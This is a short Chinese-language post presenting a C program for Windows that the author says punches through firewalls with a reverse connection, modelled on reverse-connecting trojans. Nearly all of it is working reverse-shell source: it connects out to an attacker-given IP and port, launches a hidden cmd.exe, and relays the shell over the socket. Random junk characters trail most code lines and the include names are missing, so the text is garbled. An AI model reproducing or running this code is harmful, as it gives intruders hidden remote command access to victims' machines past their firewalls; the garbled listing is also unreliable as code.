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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0aN}zUf  
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/* ============================== Gxt<kz  
Rebound port in Windows NT nfPl#]ef*  
By wind,2006/7 {UVm0AeUq  
===============================*/ JnKbd~  
#include GeW$lA I  
#include ^# g;"K0  
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#pragma comment(lib,"wsock32.lib") W1,L>Az^Ts  
|$-d, ] V  
void OutputShell(); -JW6@L@  
SOCKET sClient; .j$bCKXGx  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3'NL1du  
9;WOqBD  
void main(int argc,char **argv) :FgRe,D  
{ D0_x|a  
WSADATA stWsaData; ^Ypx|-Vu!  
int nRet; /xbF1@XtL  
SOCKADDR_IN stSaiClient,stSaiServer; rH_:7#.E  
2*;Y%NcP[  
if(argc != 3) ^T1-dw(  
{ Oh85*3  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?01""Om   
return; qc4 "0Ap'  
} B*?PB]  
(+v*u]w4  
WSAStartup(MAKEWORD(2,2),&stWsaData); v\tbf  
7 QJcRZ[lU  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :^L]Da3  
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stSaiClient.sin_family = AF_INET; uT t:/gm  
stSaiClient.sin_port = htons(0); FwzA_ nn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ')cgx9   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) SX<mj  
{ aC6b})^  
printf("Bind Socket Failed!\n"); YxqQg  
return; 9@a;1Wr/f  
} 2%yJo7f$[  
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stSaiServer.sin_family = AF_INET; w+(wvNmNEK  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NjyIwo0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <;Z3 5 {  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hCoL j6Vx  
{ M HB]'  
printf("Connect Error!"); ZVR 9vw 28  
return; |dzF>8< )  
} ~,65/O  
OutputShell(); 6OW-Dif^AG  
} ._nKM5.  
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void OutputShell() .v&h>@'m  
{ nY0UnlB`  
char szBuff[1024]; 3^UsyZS)  
SECURITY_ATTRIBUTES stSecurityAttributes; P&^7wud-sb  
OSVERSIONINFO stOsversionInfo; e[dRHl  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aM}"DY-_ h  
STARTUPINFO stStartupInfo; vj$ 6  
char *szShell; A)\DPLAG  
PROCESS_INFORMATION stProcessInformation; 0qUap*fvC  
unsigned long lBytesRead; 1}M.}G2u/  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WYzaD}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c9@jyq_H?  
stSecurityAttributes.lpSecurityDescriptor = 0; ng*E9Puu[  
stSecurityAttributes.bInheritHandle = TRUE; A:J{  
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-d)n0)9  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ck+rOGv7{Z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); dkp[?f)x  
-{%''(G  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tP{$}cEY  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 291|KG  
stStartupInfo.wShowWindow = SW_HIDE; jP'b! 4  
stStartupInfo.hStdInput = hReadPipe; E-iBA(H  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x7@HPf  
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GetVersionEx(&stOsversionInfo); 28yxX431S  
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switch(stOsversionInfo.dwPlatformId) y ]%,Y=%X  
{ cN>i3}fq  
case 1: =Q/>g6  
szShell = "command.com"; I*2rS_i[T  
break; #L$ I %L"  
default: ,e_#   
szShell = "cmd.exe"; 2:F  
break; " ?,6{\y,  
} (\>'yW{f  
-Lb^O/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,4,c-   
2H "iN[2A  
send(sClient,szMsg,77,0); ,quTMtk~  
while(1) 0Wm-` ZA  
{ S$WM&9U   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gXJ^o;R>M  
if(lBytesRead) mK4|=Q  
{ 74(J7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1iDo$]TEK  
send(sClient,szBuff,lBytesRead,0); Af<>O$$6  
} W10fjMC}^  
else /D+$|k mW]  
{ fC|u  
lBytesRead=recv(sClient,szBuff,1024,0); ~Xw?>&  
if(lBytesRead<=0) break; D|:sSld @  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .Tv(1HAc2l  
} 9#6/c  
} 4] 1a^@?  
i`'^ zR(`i  
return; Ti'kn{ Zv  
}
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